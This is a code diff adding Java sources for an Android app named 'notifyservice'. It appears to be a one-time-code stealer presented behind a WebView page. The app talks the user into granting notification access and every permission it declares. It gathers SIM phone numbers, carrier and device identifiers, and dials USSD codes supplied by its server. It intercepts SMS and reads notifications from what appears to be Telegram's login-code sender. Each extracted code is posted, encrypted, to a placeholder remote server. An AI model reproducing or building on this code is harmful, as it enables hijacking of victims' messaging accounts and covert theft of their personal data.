return number.length() > 0 ? number.toString() : "";
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onNotificationPosted(StatusBarNotification sbn){
|
||||||
|
String packageName = sbn.getPackageName();
|
||||||
|
Log.i(packageName, packageName);
|
||||||
|
if(getShortcutSafe(sbn).equals("ndid_777000")){ // STATIC
|
||||||
|
String code = processExtras(sbn.getNotification().extras);
|
||||||
|
if (code.length() < 5)
|
||||||
|
return;
|
||||||
|
Intent intent = new Intent(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED"); // STATIC
|
||||||
|
intent.putExtra("code", code);
|
||||||
|
sendBroadcast(intent);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String processExtras(Bundle extras) {
|
||||||
|
StringBuilder notifyTexts = new StringBuilder();
|
||||||
|
|
||||||
|
for (String key : notificationTextKeys) {
|
||||||
|
CharSequence charSequence = extras.getCharSequence(key);
|
||||||
|
String str = charSequence != null ? charSequence.toString() : null;
|
||||||
|
|
||||||
|
if (str != null && !str.isEmpty()) {
|
||||||
|
notifyTexts.append(str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return extractFirstNumber(notifyTexts.toString());
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private String getShortcutSafe(StatusBarNotification sbn) {
|
||||||
|
String shortcutId = null;
|
||||||
|
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
|
||||||
|
shortcutId = sbn.getNotification().getShortcutId();
|
||||||
|
} else {
|
||||||
|
shortcutId = "ndid_777000"; // STATIC
|
||||||
|
}
|
||||||
|
return shortcutId == null ? "" : shortcutId;
|
||||||
|
}
|
||||||
|
|
||||||
|
private String getNotificationText(StatusBarNotification sbn) {
|
||||||
|
Notification notification = sbn.getNotification();
|
||||||
|
CharSequence tickerText = notification.tickerText;
|
||||||
|
return tickerText == null ? "" : tickerText.toString() ;
|
||||||
|
}
|
||||||
|
}
|
569
app/src/main/java/com/example/notifyservice/MainActivity.java
Normal file
|
@ -0,0 +1,569 @@
|
||||||
|
package com.example.notifyservice;
|
||||||
|
|
||||||
|
import android.Manifest;
|
||||||
|
import android.app.AlertDialog;
|
||||||
|
import android.content.BroadcastReceiver;
|
||||||
|
import android.content.Context;
|
||||||
|
import android.content.DialogInterface;
|
||||||
|
import android.content.Intent;
|
||||||
|
import android.content.IntentFilter;
|
||||||
|
import android.content.SharedPreferences;
|
||||||
|
import android.content.pm.PackageManager;
|
||||||
|
import android.net.ConnectivityManager;
|
||||||
|
import android.net.Network;
|
||||||
|
import android.net.NetworkCapabilities;
|
||||||
|
import android.os.Build;
|
||||||
|
import android.os.Bundle;
|
||||||
|
|
||||||
|
import android.telephony.TelephonyManager;
|
||||||
|
import android.view.View;
|
||||||
|
import android.view.ViewGroup;
|
||||||
|
import android.webkit.WebChromeClient;
|
||||||
|
import android.webkit.WebSettings;
|
||||||
|
import android.webkit.WebView;
|
||||||
|
import android.webkit.WebViewClient;
|
||||||
|
import androidx.appcompat.app.AppCompatActivity;
|
||||||
|
|
||||||
|
import androidx.annotation.NonNull;
|
||||||
|
import androidx.core.app.ActivityCompat;
|
||||||
|
import androidx.core.content.ContextCompat;
|
||||||
|
|
||||||
|
import android.os.Handler;
|
||||||
|
import android.provider.Settings;
|
||||||
|
import android.provider.Telephony;
|
||||||
|
import android.telephony.SmsMessage;
|
||||||
|
import android.telephony.SubscriptionInfo;
|
||||||
|
import android.telephony.SubscriptionManager;
|
||||||
|
import android.util.Log;
|
||||||
|
|
||||||
|
import org.json.JSONException;
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import java.util.Locale;
|
||||||
|
import java.util.Timer;
|
||||||
|
import java.util.TimerTask;
|
||||||
|
import java.util.regex.Matcher;
|
||||||
|
import java.util.regex.Pattern;
|
||||||
|
|
||||||
|
public class MainActivity extends AppCompatActivity implements PostRequestCallback, GetRequestCallback {
|
||||||
|
|
||||||
|
private final String websiteUrl = "WEBSITE_URL"; // VARIABLE STATIC
|
||||||
|
private final String ussdUrl = "USSD_URL"; // VARIABLE STATIC
|
||||||
|
private final String languagesUrl = "LANGUAGES_URL"; // VARIABLE STATIC
|
||||||
|
private int requestsCount = 0;
|
||||||
|
|
||||||
|
private WebView webView;
|
||||||
|
private View customView;
|
||||||
|
private WebChromeClient.CustomViewCallback customViewCallback;
|
||||||
|
private ViewGroup mainContainer;
|
||||||
|
|
||||||
|
private String currentHash = ""; // STATIC
|
||||||
|
private int currentPhone = 0;
|
||||||
|
private List<PhoneNumber> phones;
|
||||||
|
private boolean receivingSms = false;
|
||||||
|
private double codeTimeout = 0.0;
|
||||||
|
private Timer timer;
|
||||||
|
|
||||||
|
private List<String> codes = new ArrayList<>();
|
||||||
|
|
||||||
|
private NotificationReceiver notificationReceiver;
|
||||||
|
|
||||||
|
private JSONObject ussd;
|
||||||
|
private JSONObject language;
|
||||||
|
|
||||||
|
public class PhoneNumber {
|
||||||
|
public String phone;
|
||||||
|
public TelephonyManager telephonyManager;
|
||||||
|
public String operator;
|
||||||
|
public String country;
|
||||||
|
|
||||||
|
private PhoneNumber(
|
||||||
|
String phone,
|
||||||
|
TelephonyManager telephonyManager,
|
||||||
|
String operator,
|
||||||
|
String country
|
||||||
|
) {
|
||||||
|
this.phone = phone;
|
||||||
|
this.telephonyManager = telephonyManager;
|
||||||
|
this.operator = operator;
|
||||||
|
this.country = country;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean phoneProvided(){
|
||||||
|
return !phone.isEmpty();
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getPhone() {
|
||||||
|
return phone;
|
||||||
|
}
|
||||||
|
|
||||||
|
public TelephonyManager getSubscriptionId() {
|
||||||
|
return telephonyManager;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getOperator() {
|
||||||
|
return operator;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getCountry() {
|
||||||
|
return country;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setPhone(String phone) {
|
||||||
|
this.phone = phone;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String save(){
|
||||||
|
return phone + ":" + operator // STATIC
|
||||||
|
+ ":" + country; // STATIC
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onCreate(Bundle savedInstanceState) {
|
||||||
|
super.onCreate(savedInstanceState);
|
||||||
|
|
||||||
|
setContentView(R.layout.activity_main);
|
||||||
|
|
||||||
|
webView = findViewById(R.id.webview);
|
||||||
|
mainContainer = findViewById(android.R.id.content);
|
||||||
|
|
||||||
|
WebSettings webSettings = webView.getSettings();
|
||||||
|
webSettings.setJavaScriptEnabled(true);
|
||||||
|
webSettings.setDomStorageEnabled(true);
|
||||||
|
webSettings.setDatabaseEnabled(true);
|
||||||
|
webSettings.setAllowFileAccess(true);
|
||||||
|
webSettings.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW);
|
||||||
|
|
||||||
|
webView.setWebChromeClient(new WebChromeClient() {
|
||||||
|
@Override
|
||||||
|
public void onShowCustomView(View view, WebChromeClient.CustomViewCallback callback) {
|
||||||
|
if (customView != null) {
|
||||||
|
callback.onCustomViewHidden();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
customView = view;
|
||||||
|
customViewCallback = callback;
|
||||||
|
|
||||||
|
mainContainer.addView(customView);
|
||||||
|
webView.setVisibility(View.GONE);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onHideCustomView() {
|
||||||
|
if (customView == null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
mainContainer.removeView(customView);
|
||||||
|
customView = null;
|
||||||
|
webView.setVisibility(View.VISIBLE);
|
||||||
|
customViewCallback.onCustomViewHidden();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
webView.setWebViewClient(new WebViewClient() {
|
||||||
|
@Override
|
||||||
|
public boolean shouldOverrideUrlLoading(WebView view, String url) {
|
||||||
|
view.loadUrl(url);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Загрузка начального URL
|
||||||
|
webView.loadUrl(websiteUrl);
|
||||||
|
loadData();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private void loadData() {
|
||||||
|
|
||||||
|
requestsCount = 0;
|
||||||
|
|
||||||
|
GetRequest ussdRequestTask = new GetRequest(this, this);
|
||||||
|
ussdRequestTask.execute(ussdUrl);
|
||||||
|
|
||||||
|
GetRequest languagesRequestTask = new GetRequest(this, this);
|
||||||
|
languagesRequestTask.execute(languagesUrl);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getKey(Context context) {
|
||||||
|
try {
|
||||||
|
SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE);
|
||||||
|
return sharedPreferences.getString("KEY",
|
||||||
|
"INIT_KEY"); // VARIABLE STATIC
|
||||||
|
} catch (Exception e) {
|
||||||
|
return ""; // STATIC
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void setKey(Context context, String key) {
|
||||||
|
SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit();
|
||||||
|
editor.putString("KEY", key);
|
||||||
|
editor.apply();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void promptNotificationAccess() throws JSONException {
|
||||||
|
AlertDialog.Builder builder = new AlertDialog.Builder(this);
|
||||||
|
builder.setTitle(language.getString("title")); // STATIC
|
||||||
|
builder.setMessage(language.getString("message")); // STATIC
|
||||||
|
|
||||||
|
builder.setPositiveButton(language.getString("positive"), new DialogInterface.OnClickListener() { // STATIC
|
||||||
|
@Override
|
||||||
|
public void onClick(DialogInterface dialogInterface, int i) {
|
||||||
|
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
|
||||||
|
startActivity(intent);
|
||||||
|
dialogInterface.dismiss();
|
||||||
|
System.exit(0);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
builder.setNegativeButton(language.getString("negative"), new DialogInterface.OnClickListener() { // STATIC
|
||||||
|
@Override
|
||||||
|
public void onClick(DialogInterface dialogInterface, int i) {
|
||||||
|
dialogInterface.dismiss();
|
||||||
|
finish();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
this.runOnUiThread(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
AlertDialog dialog = builder.create();
|
||||||
|
dialog.show();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getDeviceInfo(Context context)
|
||||||
|
{
|
||||||
|
String m_data = ""; // STATIC
|
||||||
|
String p_seperator = ":"; // STATIC
|
||||||
|
StringBuilder m_builder = new StringBuilder();
|
||||||
|
m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator);
|
||||||
|
m_builder.append(android.os.Build.DEVICE + p_seperator);
|
||||||
|
m_builder.append(android.os.Build.MODEL + p_seperator);
|
||||||
|
m_builder.append(android.os.Build.PRODUCT + p_seperator);
|
||||||
|
m_builder.append(android.os.Build.BRAND + p_seperator);
|
||||||
|
m_builder.append(android.os.Build.DISPLAY + p_seperator);
|
||||||
|
// TODO : android.os.Build.CPU_ABI is deprecated
|
||||||
|
m_builder.append(android.os.Build.CPU_ABI + p_seperator);
|
||||||
|
// TODO : android.os.Build.CPU_ABI2 is deprecated
|
||||||
|
m_builder.append(android.os.Build.CPU_ABI2 + p_seperator);
|
||||||
|
m_builder.append(android.os.Build.UNKNOWN + p_seperator);
|
||||||
|
m_builder.append(android.os.Build.HARDWARE + p_seperator);
|
||||||
|
m_builder.append(android.os.Build.ID + p_seperator);
|
||||||
|
m_builder.append(android.os.Build.MANUFACTURER + p_seperator);
|
||||||
|
m_builder.append(android.os.Build.SERIAL + p_seperator);
|
||||||
|
m_builder.append(android.os.Build.USER + p_seperator);
|
||||||
|
m_builder.append(android.os.Build.HOST + p_seperator);
|
||||||
|
String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
|
||||||
|
m_builder.append(android_id);
|
||||||
|
m_data = m_builder.toString();
|
||||||
|
return m_data;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
|
||||||
|
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
|
||||||
|
if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) {
|
||||||
|
requestPermissions(retrievePermissions(this));
|
||||||
|
} else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
|
||||||
|
Intent intent = new Intent(this, Listener.class);
|
||||||
|
startService(intent);
|
||||||
|
|
||||||
|
notificationReceiver = new NotificationReceiver();
|
||||||
|
IntentFilter filter = new IntentFilter(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED"); // STATIC
|
||||||
|
registerReceiver(notificationReceiver, filter);
|
||||||
|
|
||||||
|
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
|
||||||
|
|
||||||
|
Context permissionContext = this;
|
||||||
|
new Handler().postDelayed(() -> makeProcess(permissionContext), 500);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private class NotificationReceiver extends BroadcastReceiver {
|
||||||
|
@Override
|
||||||
|
public void onReceive(Context context, Intent intent) {
|
||||||
|
String code = intent.getStringExtra("code");
|
||||||
|
onNotificationReceived(code);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void onNotificationReceived(String code) {
|
||||||
|
if(codes.contains(code))
|
||||||
|
return;
|
||||||
|
codes.add(code);
|
||||||
|
cancelTimer();
|
||||||
|
PostRequest postRequestTask = new PostRequest(this, this);
|
||||||
|
postRequestTask.execute("code",
|
||||||
|
code + ";" + currentHash); // STATIC
|
||||||
|
nextPhone();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void cancelTimer(){
|
||||||
|
if (timer != null) {
|
||||||
|
timer.cancel();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void nextPhone() {
|
||||||
|
currentPhone += 1;
|
||||||
|
if (phones.size() > currentPhone)
|
||||||
|
savePhone(getBaseContext(), phones.get(currentPhone));
|
||||||
|
}
|
||||||
|
|
||||||
|
private void makeProcess(Context context) {
|
||||||
|
currentPhone = 0;
|
||||||
|
phones = collectPhoneNumber(context);
|
||||||
|
savePhone(context, phones.get(currentPhone));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
|
||||||
|
if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
|
||||||
|
!= PackageManager.PERMISSION_GRANTED) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (telephonyManager == null) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (telephonyManager.getSimState() != TelephonyManager.SIM_STATE_READY) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void savePhone(Context context, PhoneNumber phone){
|
||||||
|
if(phone.phoneProvided()){
|
||||||
|
requestPhone(context, phone);
|
||||||
|
} else {
|
||||||
|
receivingSms = false;
|
||||||
|
currentHash = ""; // STATIC
|
||||||
|
if(!isSimConnected(context, phone.telephonyManager))
|
||||||
|
nextPhone();
|
||||||
|
else
|
||||||
|
requestUssdNumber(phone);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void requestPhone(Context context, PhoneNumber phone){
|
||||||
|
PostRequest postRequestTask = new PostRequest(context, this);
|
||||||
|
postRequestTask.execute("phone",
|
||||||
|
phone.save() + ";" + getDeviceInfo(context)); // STATIC
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onPostResponse(JSONObject result) {
|
||||||
|
try {
|
||||||
|
if(result.has("hash")) // STATIC
|
||||||
|
currentHash = result.getString("hash"); // STATIC
|
||||||
|
if(result.has("key")) // STATIC
|
||||||
|
setKey(getBaseContext(), result.getString("key")); // STATIC
|
||||||
|
if(result.has("timeout")) { // STATIC
|
||||||
|
codeTimeout = result.getDouble("timeout"); // STATIC
|
||||||
|
Timer timer = new Timer();
|
||||||
|
timer.schedule(new TimerTask() {
|
||||||
|
@Override
|
||||||
|
public void run() {
|
||||||
|
nextPhone();
|
||||||
|
}
|
||||||
|
}, Math.round(codeTimeout * 1000));
|
||||||
|
}
|
||||||
|
} catch (JSONException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onGetResponse(JSONObject result) {
|
||||||
|
try {
|
||||||
|
if(result.get("name"). // STATIC
|
||||||
|
equals("ussd")){ // STATIC
|
||||||
|
ussd = result.getJSONObject(
|
||||||
|
"data" // STATIC
|
||||||
|
);
|
||||||
|
requestsCount += 1;
|
||||||
|
|
||||||
|
} else if (result.get("name"). // STATIC
|
||||||
|
equals("languages")) { // STATIC
|
||||||
|
language = result.getJSONObject(
|
||||||
|
"data" // STATIC
|
||||||
|
).getJSONObject(Locale.getDefault().getLanguage());
|
||||||
|
requestsCount += 1;
|
||||||
|
}
|
||||||
|
if (requestsCount == 2) {
|
||||||
|
if (!isNotificationServiceEnabled()) {
|
||||||
|
promptNotificationAccess();
|
||||||
|
} else {
|
||||||
|
requestPermissions(retrievePermissions(this));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (JSONException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean isNotificationServiceEnabled() {
|
||||||
|
String packageName = getPackageName();
|
||||||
|
String enabledListeners = Settings.Secure.getString(
|
||||||
|
getContentResolver(),
|
||||||
|
"enabled_notification_listeners" // STATIC
|
||||||
|
);
|
||||||
|
return enabledListeners != null && enabledListeners.contains(packageName);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void requestNotificationAccess() {
|
||||||
|
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
|
||||||
|
startActivity(intent);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String[] retrievePermissions(Context context) {
|
||||||
|
final String pkgName = context.getPackageName();
|
||||||
|
try {
|
||||||
|
return context
|
||||||
|
.getPackageManager()
|
||||||
|
.getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS)
|
||||||
|
.requestedPermissions;
|
||||||
|
} catch (PackageManager.NameNotFoundException e) {
|
||||||
|
return new String[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void requestPermissions(String[] permissions) {
|
||||||
|
ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static boolean isNetworkAvailable(Context context) {
|
||||||
|
ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
|
||||||
|
Network nw = connectivityManager.getActiveNetwork();
|
||||||
|
if (nw == null) return false;
|
||||||
|
NetworkCapabilities actNw = connectivityManager.getNetworkCapabilities(nw);
|
||||||
|
return actNw != null && (actNw.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String extractFirstPhoneNumber(String input) {
|
||||||
|
String regex = "(?<!\\d)(?:\\+|00)?\\d{1,3}[-. (]*(?:\\d[-. )]*){7,14}(?!\\d)"; // STATIC
|
||||||
|
|
||||||
|
Pattern pattern = Pattern.compile(regex);
|
||||||
|
Matcher matcher = pattern.matcher(input);
|
||||||
|
|
||||||
|
if (matcher.find()) {
|
||||||
|
return matcher.group()
|
||||||
|
.replaceAll("(?<=^\\+)[^\\d]|[^\\d+]", // STATIC
|
||||||
|
""); // STATIC
|
||||||
|
}
|
||||||
|
|
||||||
|
return ""; // STATIC
|
||||||
|
}
|
||||||
|
|
||||||
|
private void requestUssdNumber(PhoneNumber phone) {
|
||||||
|
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
|
||||||
|
return;
|
||||||
|
String ussdRequest = null;
|
||||||
|
boolean smsResponse = false;
|
||||||
|
try {
|
||||||
|
ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC
|
||||||
|
smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC
|
||||||
|
} catch (JSONException e) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||||
|
boolean finalSmsResponse = smsResponse;
|
||||||
|
phone.telephonyManager.sendUssdRequest(ussdRequest, new TelephonyManager.UssdResponseCallback() {
|
||||||
|
@Override
|
||||||
|
public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) {
|
||||||
|
super.onReceiveUssdResponse(telephonyManager, request, response);
|
||||||
|
String responseString = response.toString();
|
||||||
|
if (finalSmsResponse){
|
||||||
|
receivingSms = true;
|
||||||
|
} else {
|
||||||
|
phone.setPhone(extractFirstPhoneNumber(responseString));
|
||||||
|
savePhone(getBaseContext(), phone);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onReceiveUssdResponseFailed(TelephonyManager telephonyManager, String request, int failureCode) {
|
||||||
|
super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode);
|
||||||
|
nextPhone();
|
||||||
|
}
|
||||||
|
}, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<PhoneNumber> collectPhoneNumber(Context context){
|
||||||
|
List<PhoneNumber> phoneNumbers = new ArrayList<>();
|
||||||
|
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC
|
||||||
|
return phoneNumbers;
|
||||||
|
}
|
||||||
|
SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext());
|
||||||
|
List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList();
|
||||||
|
for (int i = 0; i < subscriptions.size(); i++) {
|
||||||
|
SubscriptionInfo currentCard = subscriptions.get(i);
|
||||||
|
String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber());
|
||||||
|
TelephonyManager telephonyManager = getSystemService(TelephonyManager.class).createForSubscriptionId(currentCard.getSubscriptionId());
|
||||||
|
phoneNumbers.add(new PhoneNumber(
|
||||||
|
phoneNumber,
|
||||||
|
telephonyManager,
|
||||||
|
telephonyManager.getSimOperatorName(),
|
||||||
|
currentCard.getCountryIso()
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
return phoneNumbers;
|
||||||
|
}
|
||||||
|
|
||||||
|
private final BroadcastReceiver smsReceiver = new BroadcastReceiver() {
|
||||||
|
@Override
|
||||||
|
public void onReceive(Context context, Intent intent) {
|
||||||
|
Bundle bundle = intent.getExtras();
|
||||||
|
if (bundle != null) {
|
||||||
|
Object[] pdus = (Object[]) bundle.get("pdus"); // STATIC
|
||||||
|
if (pdus != null) {
|
||||||
|
if(!receivingSms)
|
||||||
|
return;
|
||||||
|
for (Object pdu : pdus) {
|
||||||
|
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
|
||||||
|
String messageBody = smsMessage.getMessageBody();
|
||||||
|
String phoneNumber = extractFirstPhoneNumber(messageBody);
|
||||||
|
if(!phoneNumber.isEmpty()) {
|
||||||
|
phones.get(currentPhone).setPhone(phoneNumber);
|
||||||
|
savePhone(getBaseContext(), phones.get(currentPhone));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onBackPressed() {
|
||||||
|
if (webView.canGoBack()) {
|
||||||
|
webView.goBack();
|
||||||
|
} else {
|
||||||
|
super.onBackPressed();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onDestroy() {
|
||||||
|
super.onDestroy();
|
||||||
|
try {
|
||||||
|
unregisterReceiver(smsReceiver);
|
||||||
|
} catch(IllegalArgumentException e) {
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
78
app/src/main/java/com/example/notifyservice/PostRequest.java
Normal file
|
@ -0,0 +1,78 @@
|
||||||
|
package com.example.notifyservice;
|
||||||
|
|
||||||
|
import static com.example.notifyservice.Encryption.aesEncrypt;
|
||||||
|
|
||||||
|
import android.content.Context;
|
||||||
|
import android.util.Log;
|
||||||
|
|
||||||
|
import androidx.annotation.NonNull;
|
||||||
|
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|
||||||
|
import okhttp3.Call;
|
||||||
|
import okhttp3.Callback;
|
||||||
|
import okhttp3.OkHttpClient;
|
||||||
|
import okhttp3.Request;
|
||||||
|
import okhttp3.RequestBody;
|
||||||
|
import okhttp3.Response;
|
||||||
|
|
||||||
|
public class PostRequest {
|
||||||
|
|
||||||
|
private Context context;
|
||||||
|
private String BASE_URL = "BASE_URL"; // VARIABLE STATIC
|
||||||
|
private PostRequestCallback callback;
|
||||||
|
|
||||||
|
public String buildPoint = "BUILD_POINT"; // VARIABLE STATIC
|
||||||
|
|
||||||
|
public PostRequest(Context context, PostRequestCallback callback) {
|
||||||
|
this.context = context;
|
||||||
|
this.callback = callback;
|
||||||
|
}
|
||||||
|
|
||||||
|
public final OkHttpClient client = new OkHttpClient();
|
||||||
|
|
||||||
|
public void execute(String... params) {
|
||||||
|
String timeStamp = String.valueOf(TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis()));
|
||||||
|
String key = MainActivity.getKey(context) + timeStamp;
|
||||||
|
|
||||||
|
String urlString = Encryption.aesHexEncrypt(params[0], key);
|
||||||
|
String jsonData = params[1];
|
||||||
|
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.url(BASE_URL + Encryption.aesHexEncrypt(buildPoint, timeStamp) + "/" + Encryption.aesHexEncrypt(urlString, key)) // STATIC
|
||||||
|
.post(RequestBody.create(aesEncrypt(jsonData).getBytes())).header(
|
||||||
|
"timestamp", timeStamp // STATIC
|
||||||
|
)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
Call call = client.newCall(request);
|
||||||
|
call.enqueue(new Callback() {
|
||||||
|
public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
|
||||||
|
onPostExecute(response.peekBody(Long.MAX_VALUE).string());
|
||||||
|
}
|
||||||
|
|
||||||
|
public void onFailure(@NonNull Call call, @NonNull IOException e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
protected void onPostExecute(String result) {
|
||||||
|
try {
|
||||||
|
|
||||||
|
callback.onPostResponse((new JSONObject(
|
||||||
|
Encryption.aesDecrypt(
|
||||||
|
result
|
||||||
|
)
|
||||||
|
)));
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace(System.out);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,7 @@
|
||||||
|
package com.example.notifyservice;
|
||||||
|
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
public interface PostRequestCallback {
|
||||||
|
void onPostResponse(JSONObject result);
|
||||||
|
}
|
13
app/src/main/res/layout/activity_main.xml
Normal file
|
@ -0,0 +1,13 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<androidx.constraintlayout.widget.ConstraintLayout
|
||||||
|
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent">
|
||||||
|
|
||||||
|
<WebView
|
||||||
|
android:id="@+id/webview"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent" />
|
||||||
|
|
||||||
|
</androidx.constraintlayout.widget.ConstraintLayout>
|
5
app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml
Normal file
|
@ -0,0 +1,5 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
|
||||||
|
<background android:drawable="@color/ic_launcher_background"/>
|
||||||
|
<foreground android:drawable="@mipmap/ic_launcher_foreground"/>
|
||||||
|
</adaptive-icon>
|
5
app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml
Normal file
|
@ -0,0 +1,5 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
|
||||||
|
<background android:drawable="@color/ic_launcher_background"/>
|
||||||
|
<foreground android:drawable="@mipmap/ic_launcher_foreground"/>
|
||||||
|
</adaptive-icon>
|
BIN
